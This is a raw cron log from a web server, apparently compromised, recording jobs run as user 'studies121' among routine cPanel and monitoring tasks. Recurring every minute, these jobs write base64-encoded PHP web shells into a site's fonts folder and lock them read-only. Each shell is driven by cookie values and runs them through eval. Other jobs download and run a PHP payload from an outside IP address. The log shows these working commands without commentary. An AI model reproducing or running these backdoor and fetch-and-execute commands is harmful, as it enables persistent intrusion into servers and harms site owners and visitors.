Sep  5 06:57:01 ip-184-168-122-23 CROND[29323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:58:01 ip-184-168-122-23 CROND[29450]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:58:01 ip-184-168-122-23 CROND[29452]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 06:58:01 ip-184-168-122-23 CROND[29453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:58:01 ip-184-168-122-23 CROND[29454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:58:01 ip-184-168-122-23 CROND[29451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:59:01 ip-184-168-122-23 CROND[29602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:59:01 ip-184-168-122-23 CROND[29604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:59:01 ip-184-168-122-23 CROND[29605]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:59:01 ip-184-168-122-23 CROND[29606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:00:01 ip-184-168-122-23 CROND[29764]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 07:00:01 ip-184-168-122-23 CROND[29765]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 07:00:01 ip-184-168-122-23 CROND[29766]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 07:00:01 ip-184-168-122-23 CROND[29768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:00:01 ip-184-168-122-23 CROND[29770]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 07:00:01 ip-184-168-122-23 CROND[29767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:00:01 ip-184-168-122-23 CROND[29769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:00:01 ip-184-168-122-23 CROND[29771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:01:01 ip-184-168-122-23 CROND[29965]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 07:01:01 ip-184-168-122-23 CROND[29966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:01:01 ip-184-168-122-23 CROND[29969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:01:01 ip-184-168-122-23 CROND[29970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:01:01 ip-184-168-122-23 CROND[29971]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:01:01 ip-184-168-122-23 CROND[29973]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 07:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[29965]: starting 0anacron
Sep  5 07:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[29986]: finished 0anacron
Sep  5 07:02:01 ip-184-168-122-23 CROND[30097]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 07:02:01 ip-184-168-122-23 CROND[30099]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:02:01 ip-184-168-122-23 CROND[30101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:02:01 ip-184-168-122-23 CROND[30100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:02:01 ip-184-168-122-23 CROND[30102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:03:01 ip-184-168-122-23 CROND[30249]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:03:01 ip-184-168-122-23 CROND[30251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:03:01 ip-184-168-122-23 CROND[30252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:03:01 ip-184-168-122-23 CROND[30253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:04:02 ip-184-168-122-23 CROND[30406]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 07:04:02 ip-184-168-122-23 CROND[30407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:04:02 ip-184-168-122-23 CROND[30409]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:04:02 ip-184-168-122-23 CROND[30410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:04:02 ip-184-168-122-23 CROND[30414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:05:01 ip-184-168-122-23 CROND[30551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:05:01 ip-184-168-122-23 CROND[30553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:05:01 ip-184-168-122-23 CROND[30556]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 07:05:01 ip-184-168-122-23 CROND[30555]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 07:05:01 ip-184-168-122-23 CROND[30563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:05:01 ip-184-168-122-23 CROND[30561]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 07:05:01 ip-184-168-122-23 CROND[30565]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:06:01 ip-184-168-122-23 CROND[30829]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:06:01 ip-184-168-122-23 CROND[30830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:06:01 ip-184-168-122-23 CROND[30832]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 07:06:01 ip-184-168-122-23 CROND[30834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:06:01 ip-184-168-122-23 CROND[30833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:07:01 ip-184-168-122-23 CROND[30982]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:07:01 ip-184-168-122-23 CROND[30985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:07:01 ip-184-168-122-23 CROND[30984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:07:01 ip-184-168-122-23 CROND[30986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:08:01 ip-184-168-122-23 CROND[31144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:08:01 ip-184-168-122-23 CROND[31147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:08:01 ip-184-168-122-23 CROND[31146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:08:01 ip-184-168-122-23 CROND[31145]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 07:08:01 ip-184-168-122-23 CROND[31149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:09:01 ip-184-168-122-23 CROND[31289]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:09:01 ip-184-168-122-23 CROND[31291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:09:01 ip-184-168-122-23 CROND[31293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
